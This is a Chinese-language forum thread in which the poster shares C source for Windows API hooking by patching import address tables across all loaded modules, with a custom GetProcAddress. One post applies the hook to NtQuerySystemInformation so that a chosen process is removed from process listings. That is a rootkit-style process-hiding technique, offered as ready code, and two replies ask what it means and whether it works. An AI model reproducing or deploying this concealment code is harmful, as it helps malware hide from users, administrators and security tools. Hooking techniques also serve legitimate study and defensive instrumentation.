回 帖 发 新 帖 刷新版面

主题:[原创]HOOK API

#include <windows.h>

#ifndef _WINAPIHOOK_INC_
#define _WINAPIHOOK_INC_


typedef LPVOID (WINAPI* _WINAPI)();


BOOL WINAPI SetWin32APIHook(LPCSTR, LPCSTR, CONST _WINAPI, _WINAPI* );
FARPROC WINAPI MyGetProcAddress(HMODULE hModule, LPCSTR lpProcName);

#endif

回复列表 (共6个回复)

沙发

#include <windows.h>
#include <tlhelp32.h>
#include "WinAPIHook.h"

/**********************************************************\
*函数名: SetWin32APIHook
*参数: LPCSTR lpszDll        输出 lpszFunction 函数的模块名
*参数: LPCSTR lpszFunction 要替换的函数名
*       lpNewAPI                新的函数地址
*pOldAPIAddress 原先的地址
************************************************************/
BOOL WINAPI SetWin32APIHook(LPCSTR lpszDLL,
                            LPCSTR lpszFunction,
                            CONST _WINAPI NewAPIAdress,
                            _WINAPI* pOldAPIAddress)
{
    PIMAGE_DOS_HEADER pDOSHeader;
    PIMAGE_NT_HEADERS pNTHeader;
    PIMAGE_IMPORT_DESCRIPTOR pImportDesc; //输入表
    PIMAGE_THUNK_DATA pThunk;
    DWORD dwProtect, dwTemp;
    HANDLE hSnapshot;
    MODULEENTRY32 me;
    CHAR pszBuff[_MAX_FNAME];
    BOOL b;
    BOOL bModify = FALSE;

    HINSTANCE hInstance = GetModuleHandle(lpszDLL);
    if (NULL == hInstance)
        return FALSE;
    
    *pOldAPIAddress = (_WINAPI)MyGetProcAddress(hInstance, lpszFunction); //保存原地址信息
    if (NULL == *pOldAPIAddress) //获取 api 函数地址失败
        return FALSE;
    
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
    if (-1 == (DWORD)hSnapshot)
        return FALSE;

    me.dwSize = sizeof(MODULEENTRY32);
    b = Module32First(hSnapshot, &me);

板凳

    while (b) //循环获取这个进程空间,每个模块的基址
    {
        hInstance = (HINSTANCE)me.modBaseAddr;

        pDOSHeader = (PIMAGE_DOS_HEADER)hInstance;
        if (IsBadReadPtr(hInstance, sizeof(PIMAGE_DOS_HEADER)))
        {   //不可读的地址
            goto _fine_next_moudle;
        }
        if (pDOSHeader->e_magic != IMAGE_DOS_SIGNATURE)
        { //是否是有效的 DOS 文件头
            goto _fine_next_moudle;
        }
        //PE 文件的地址
        pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)hInstance + (DWORD)pDOSHeader->e_lfanew);
        if (pNTHeader->Signature != IMAGE_NT_SIGNATURE)
        { //不是有效的 PE 文件结构
            goto _fine_next_moudle;
        }

        pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hInstance + \
                    (DWORD)pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
        if ((DWORD)pImportDesc == (DWORD)hInstance)
        { //这个文件没有输入表
            goto _fine_next_moudle;
        }
        
        while (pImportDesc->Name != 0) //循环获取这个模块引入的模块名
        {
            strcpy(pszBuff, (LPCSTR)((DWORD)hInstance + (DWORD)pImportDesc->Name));
            strlwr(pszBuff);
            if (strcmp(pszBuff, lpszDLL)) //是否有存在我要找的模块
            {
                //没有找到
                pImportDesc++;
                continue;
            }
            //找到后,开始查找是否引入我要找的函数?
            pThunk = (PIMAGE_THUNK_DATA)((DWORD)hInstance + (DWORD)pImportDesc->FirstThunk);
            while (pThunk->u1.Function != NULL)
            {
                if ((_WINAPI)pThunk->u1.Function == *pOldAPIAddress)
                {
                    //找到,开始修改
                    VirtualProtect((LPVOID)(&(pThunk->u1.Function)),
                                    sizeof(DWORD), PAGE_EXECUTE_READWRITE, &dwProtect);
                    pThunk->u1.Function = (LPDWORD)NewAPIAdress; //修改值为 NewAPIAddress
                    bModify = TRUE;
                    VirtualProtect((LPVOID)(&(pThunk->u1.Function)),
                                    sizeof(DWORD), dwProtect, &dwTemp);
                    break;
                }
                pThunk++;
            }
            pImportDesc++;
        }
_fine_next_moudle:
        b = Module32Next(hSnapshot, &me);
    }

    CloseHandle(hSnapshot);

    return bModify;
}

3 楼

//重新写 GetProcAddress, 防止在 Hook 掉 GetProcAddress 后,在自己调用时,
//返回自己的地址,在这个 dll 中只可以调用 MyGetProcAddress
FARPROC WINAPI MyGetProcAddress(HMODULE hModule, LPCSTR lpProcName)
{
    PIMAGE_DOS_HEADER pDOSHeader;
    PIMAGE_NT_HEADERS pNTHeader;
    PIMAGE_EXPORT_DIRECTORY pExportDir;
    LPCSTR *pFunctionName;
    LPDWORD pFunction;
    LPWORD pIndex;

    if (NULL == hModule && NULL == lpProcName)
        return NULL;

    pDOSHeader = (PIMAGE_DOS_HEADER)hModule;
    if (IsBadReadPtr(pDOSHeader, sizeof(IMAGE_DOS_HEADER)))
        return NULL;
    if (pDOSHeader->e_magic != IMAGE_DOS_SIGNATURE)
        return NULL; //不是有效的 DOS 文件头标志

    pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)pDOSHeader + (DWORD)pDOSHeader->e_lfanew);
    if (pNTHeader->Signature != IMAGE_NT_SIGNATURE)
        return NULL; //不是有效的 PE 文件头标志
    
    pExportDir = (PIMAGE_EXPORT_DIRECTORY)((DWORD)pDOSHeader + \
                    (DWORD)pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    if ((DWORD)pExportDir == (DWORD)pDOSHeader)
        return NULL; //没有输出表

    pFunctionName = (LPCSTR *)((DWORD)pExportDir->AddressOfNames + (DWORD)pDOSHeader);
    pFunction = (LPDWORD)((DWORD)pExportDir->AddressOfFunctions + (DWORD)pDOSHeader);
    pIndex = (LPWORD)((DWORD)pExportDir->AddressOfNameOrdinals + (DWORD)pDOSHeader);
    while ((LPCSTR)((DWORD)*pFunctionName + (DWORD)pDOSHeader)!= NULL)
    {
        if (strcmp((LPCSTR)((DWORD)*pFunctionName + (DWORD)pDOSHeader), lpProcName) == 0)
        {
            return (FARPROC)(pFunction[*pIndex] + (DWORD)pDOSHeader);
        }
        pFunctionName++;
        pIndex++;
    }

    return NULL;
}

4 楼

//进程隐藏
SetWin32APIHook(g_szNTDLL, g_szNtQuerySystemInformation,
            (_WINAPI)New_NtQuerySystemInformation,  &g_NtQuerySystemInformation);

NTSTATUS WINAPI New_NtQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,
                                      PVOID SystemInformation,
                                      ULONG SystemInformationLength,
                                      PULONG ReturnLength)
{
    NTSTATUS    ntst;
    PSYSTEM_PROCESSES p1, p2;

    __try
    {
        __asm
        {
            push    ReturnLength
            push    SystemInformationLength
            push    SystemInformation
            push    SystemInformationClass
            call    g_NtQuerySystemInformation
            mov        ntst, eax
        }
        if ((NT_PROCESSTHREAD_INFO == SystemInformationClass) &&
            (ntst == STATUS_SUCCESS))
        {
            p2 = (PSYSTEM_PROCESSES)SystemInformation;
            p1 = (PSYSTEM_PROCESSES)((LPBYTE)p2 + p2->NextEntryDelta);
            do
            {
                if (g_dwHostProcessID == p1->ProcessId)
                {
                    //非常注意....
                    p2->NextEntryDelta += p1->NextEntryDelta;
                    break;
                }
                p2 = p1;
                p1 = (PSYSTEM_PROCESSES)((LPBYTE)p1 + p1->NextEntryDelta);
            } while (p1 != p2);
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        ntst = -1;
    }

    return ntst;
}

5 楼

能不能说明白点,俺菜看不懂

6 楼

试过能不能运行哦?

我来回复

您尚未登录,请登录后再回复。点此登录或注册